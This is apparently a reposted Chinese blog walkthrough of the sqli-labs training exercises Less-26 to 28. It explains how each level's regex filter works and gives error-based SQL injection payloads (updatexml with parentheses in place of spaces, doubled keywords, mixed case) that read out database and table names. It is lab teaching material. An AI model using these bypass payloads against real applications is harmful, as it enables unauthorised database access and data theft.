首页 > 其他 > 详细

Less-(26~28) preg_replace3

时间:2021-09-13 21:00:06      阅读:7      评论:0      收藏:0      [点我收藏+]

Less-26:

  核心语句:

技术分享图片

 

 技术分享图片

 

   各种回显均存在。

 

本题相比Less-25,多屏蔽了很多符号;

  首先是各种注释符 --+,#,/**/  。 /[]/表示字符集合;任何出现在里面的字符均会被替换。

    屏蔽{ / * \ }等比较特殊的字符时,需要加上转义符号。

    /s 不是转义 而是匹配任何空白字符,包括空格、制表符、换页符等等。(它等价于 [ \f\n\r\t\v])

  划重点,空格没了。

  对于只屏蔽空格的地方,我们可以用 /**/ 代替空格,但是这题一下屏蔽到位了,所以只能换方法。

  有没有注入方式,完全不需要空格呢?

  union select和order by肯定不行了,这两个空格完全没办法避免。

  其它地方的空格,尝试都用括号替代。

    payload:?id=0‘anandd(updatexml(1,concat(0x7e,(select(database()))),1))anandd‘1‘=‘1  

          ?id=111‘anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))anandd‘1‘=‘1

 

Less-27:

技术分享图片

 

 技术分享图片

 

依然是各种回显都有。

   相比之前,取消了对and or的过滤,增加了对union和select的过滤。

   s 和 m注释符 我暂时觉得没什么用。

   这个过滤挺逊的:没有i注释符,所以更改下大小写就可绕过;虽然多过滤了几次,但依然没有递归过滤,多套娃几个select也行。union反正我们本来就不用,更不用管。

      payload:?id=111‘and(updatexml(1,concat(0x7e,(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and‘1‘=‘1

 

Less-28:

技术分享图片

技术分享图片

 

 依然全回显。

直接搬来27的payload就行了:?id=111‘and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and‘1‘=‘1

  虽然$sql里多了小括号,但没有注释的情况下,右括号是在语句最后的,且还起作用。所以111‘ 后面反而不能加括号,否则就错了。

 

Less-(26~28) preg_replace3

原文:https://www.cnblogs.com/hiddener/p/15259635.html

(0)
(0)
   
举报
评论 一句话评论(0
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!